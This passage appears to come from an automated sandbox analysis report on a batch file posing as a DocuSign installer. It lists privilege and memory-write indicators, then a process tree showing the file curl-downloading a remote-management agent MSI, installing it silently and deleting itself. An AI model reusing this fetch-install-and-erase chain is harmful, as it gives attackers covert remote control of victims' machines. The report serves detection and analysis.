Token: SeIncreaseQuotaPrivilege	4228	msiexec.exe
Token: SeSecurityPrivilege	5012	msiexec.exe
Token: SeCreateTokenPrivilege	4228	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4228	msiexec.exe
Token: SeLockMemoryPrivilege	4228	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4228	msiexec.exe
Token: SeMachineAccountPrivilege	4228	msiexec.exe
Token: SeTcbPrivilege	4228	msiexec.exe
Token: SeSecurityPrivilege	4228	msiexec.exe
Token: SeTakeOwnershipPrivilege	4228	msiexec.exe
Token: SeLoadDriverPrivilege	4228	msiexec.exe
Token: SeSystemProfilePrivilege	4228	msiexec.exe
Token: SeSystemtimePrivilege	4228	msiexec.exe
Token: SeProfSingleProcessPrivilege	4228	msiexec.exe
Token: SeIncBasePriorityPrivilege	4228	msiexec.exe
Token: SeCreatePagefilePrivilege	4228	msiexec.exe
Token: SeCreatePermanentPrivilege	4228	msiexec.exe
Token: SeBackupPrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeShutdownPrivilege	4228	msiexec.exe
Token: SeDebugPrivilege	4228	msiexec.exe
Token: SeAuditPrivilege	4228	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4228	msiexec.exe
Token: SeChangeNotifyPrivilege	4228	msiexec.exe
Token: SeRemoteShutdownPrivilege	4228	msiexec.exe
Token: SeUndockPrivilege	4228	msiexec.exe
Token: SeSyncAgentPrivilege	4228	msiexec.exe
Token: SeEnableDelegationPrivilege	4228	msiexec.exe
Token: SeManageVolumePrivilege	4228	msiexec.exe
Token: SeImpersonatePrivilege	4228	msiexec.exe
Token: SeCreateGlobalPrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeShutdownPrivilege	5256	MsiExec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeBackupPrivilege	4660	action1_agent.exe
Token: SeBackupPrivilege	4660	action1_agent.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe
Token: SeRestorePrivilege	5012	msiexec.exe
Token: SeTakeOwnershipPrivilege	5012	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4228	msiexec.exe
5012	msiexec.exe
1096	MsiExec.exe
5256	MsiExec.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 4112	3304	cmd.exe	90
PID 4112 wrote to memory of 3316	4112	net.exe	91
PID 3304 wrote to memory of 4920	3304	cmd.exe	92
PID 3304 wrote to memory of 3696	3304	cmd.exe	93
PID 3304 wrote to memory of 4228	3304	cmd.exe	94
PID 5012 wrote to memory of 1096	5012	msiexec.exe	96
PID 5012 wrote to memory of 5256	5012	msiexec.exe	97
PID 4660 wrote to memory of 4116	4660	action1_agent.exe	99
PID 3304 wrote to memory of 2864	3304	cmd.exe	102
PID 3304 wrote to memory of 1828	3304	cmd.exe	103
PID 4660 wrote to memory of 2544	4660	action1_agent.exe	104
PID 2544 wrote to memory of 892	2544	powershell.exe	109
PID 4660 wrote to memory of 2060	4660	action1_agent.exe	110
PID 4660 wrote to memory of 2312	4660	action1_agent.exe	114
PID 2312 wrote to memory of 2384	2312	powershell.exe	116
PID 4660 wrote to memory of 1608	4660	action1_agent.exe	117
PID 4660 wrote to memory of 844	4660	action1_agent.exe	119
PID 4660 wrote to memory of 1820	4660	action1_agent.exe	121
PID 4660 wrote to memory of 2168	4660	action1_agent.exe	123
PID 2168 wrote to memory of 5164	2168	powershell.exe	125
PID 4660 wrote to memory of 5364	4660	action1_agent.exe	126
PID 4660 wrote to memory of 5056	4660	action1_agent.exe	128
PID 4660 wrote to memory of 4108	4660	action1_agent.exe	130
PID 4660 wrote to memory of 5356	4660	action1_agent.exe	132
PID 4660 wrote to memory of 4116	4660	action1_agent.exe	134
PID 4660 wrote to memory of 5704	4660	action1_agent.exe	136
PID 4660 wrote to memory of 4572	4660	action1_agent.exe	138
PID 4660 wrote to memory of 3164	4660	action1_agent.exe	140
PID 4660 wrote to memory of 4668	4660	action1_agent.exe	142
PID 4660 wrote to memory of 2408	4660	action1_agent.exe	144
PID 4660 wrote to memory of 5080	4660	action1_agent.exe	146
PID 4660 wrote to memory of 3956	4660	action1_agent.exe	148
PID 4660 wrote to memory of 1816	4660	action1_agent.exe	150
PID 4660 wrote to memory of 5380	4660	action1_agent.exe	152
PID 4660 wrote to memory of 2160	4660	action1_agent.exe	154
PID 2160 wrote to memory of 1376	2160	powershell.exe	156
PID 2160 wrote to memory of 2364	2160	powershell.exe	157
PID 2160 wrote to memory of 4560	2160	powershell.exe	158
PID 2160 wrote to memory of 3488	2160	powershell.exe	159
PID 2160 wrote to memory of 1392	2160	powershell.exe	160
PID 2160 wrote to memory of 5564	2160	powershell.exe	161
PID 2160 wrote to memory of 5132	2160	powershell.exe	162
PID 2160 wrote to memory of 1640	2160	powershell.exe	163
PID 2160 wrote to memory of 4272	2160	powershell.exe	164
PID 2160 wrote to memory of 4952	2160	powershell.exe	165
PID 2160 wrote to memory of 4172	2160	powershell.exe	166
PID 2160 wrote to memory of 3880	2160	powershell.exe	167
PID 2160 wrote to memory of 972	2160	powershell.exe	168
PID 2160 wrote to memory of 4504	2160	powershell.exe	169
PID 2160 wrote to memory of 4680	2160	powershell.exe	170
PID 2160 wrote to memory of 1088	2160	powershell.exe	171
PID 2160 wrote to memory of 2836	2160	powershell.exe	172
PID 2160 wrote to memory of 6104	2160	powershell.exe	173
PID 2160 wrote to memory of 2468	2160	powershell.exe	174
PID 4660 wrote to memory of 1900	4660	action1_agent.exe	175
PID 4660 wrote to memory of 1808	4660	action1_agent.exe	200
PID 4660 wrote to memory of 3332	4660	action1_agent.exe	179

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DocuSign_Installer.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3304
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3316
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
  2⤵
  PID:4920
- C:\Windows\system32\curl.exe
  curl -o "C:\Users\Admin\AppData\Local\Temp\pkg.msi" "https://app.na-2.action1.com/agent/d8e7f244-9e39-11f1-a9e1-51e969de57aa/Windows/agent(My_Organization).msi" --silent --fail --connect-timeout 10
  2⤵
  PID:3696
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\pkg.msi" /quiet /qn
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4228
- C:\Windows\system32\reg.exe
  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"
  2⤵
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Sleep -Seconds 2; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\DocuSign_Installer.bat' -Force; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\zoom_install.log' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Deletes itself
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:1828

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9A301BBD6CCB3AC5E618A4D198214664
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1096
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6DA9B1BA843D63C76D349E368612906B E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5256

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4116
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2060
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2384
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1004.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1608
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:844
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Boot Configurations_2019-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1820
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Hardware Summary_2037-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5164
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Updates_2010-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5364
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Running Processes_2030-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5056
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MS Outlook Versions_2043-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4108
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Drivers_2024-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5356
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Installed Printers_2025-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4116
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Monitors_2026-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5704
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Processx002FMemory Stats_2031-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4572
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Services_2033-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3164
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Status_2064-1787748201.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4668
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:2408
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1787748201.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:5080
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update History_2044-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:3956
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Update Statistics_2039-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:1816
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Open Shared Resources_2018-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:5380
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 142.250.129.94
    3⤵
    PID:1376
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.187
    3⤵
    PID:2364
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.21.64.187
    3⤵
    PID:4560
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.98
    3⤵
    PID:3488
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 150.171.110.179
    3⤵
    PID:1392
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.41.75.35
    3⤵
    PID:5564
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:5132
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 52.84.156.22
    3⤵
    PID:1640
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 108.138.210.62
    3⤵
    PID:4272
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 108.138.210.62
    3⤵
    PID:4952
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 93.123.17.252
    3⤵
    PID:4172
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 16.146.218.27
    3⤵
    PID:3880
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.41.157
    3⤵
    PID:972
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.0
    3⤵
    PID:4504
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4680
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:1088
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.16.55.221
    3⤵
    PID:2836
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:6104
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:2468
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Environment Variables_2020-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:1900
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:1808
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\System Information_2023-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  PID:3332
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\NTFS Disk Quotas_2035-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2580
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1664
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2464
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Network Adapters_2029-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3960
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Sound Devices_2038-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2692
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Drives_2016-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5852
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Startup Programs_2032-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:360
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Routing Tables_2028-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2296
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Event Logs_2021-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3712
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1787748201.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1352
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1808
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\dztz000v\dztz000v.cmdline"
    3⤵
    PID:3352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
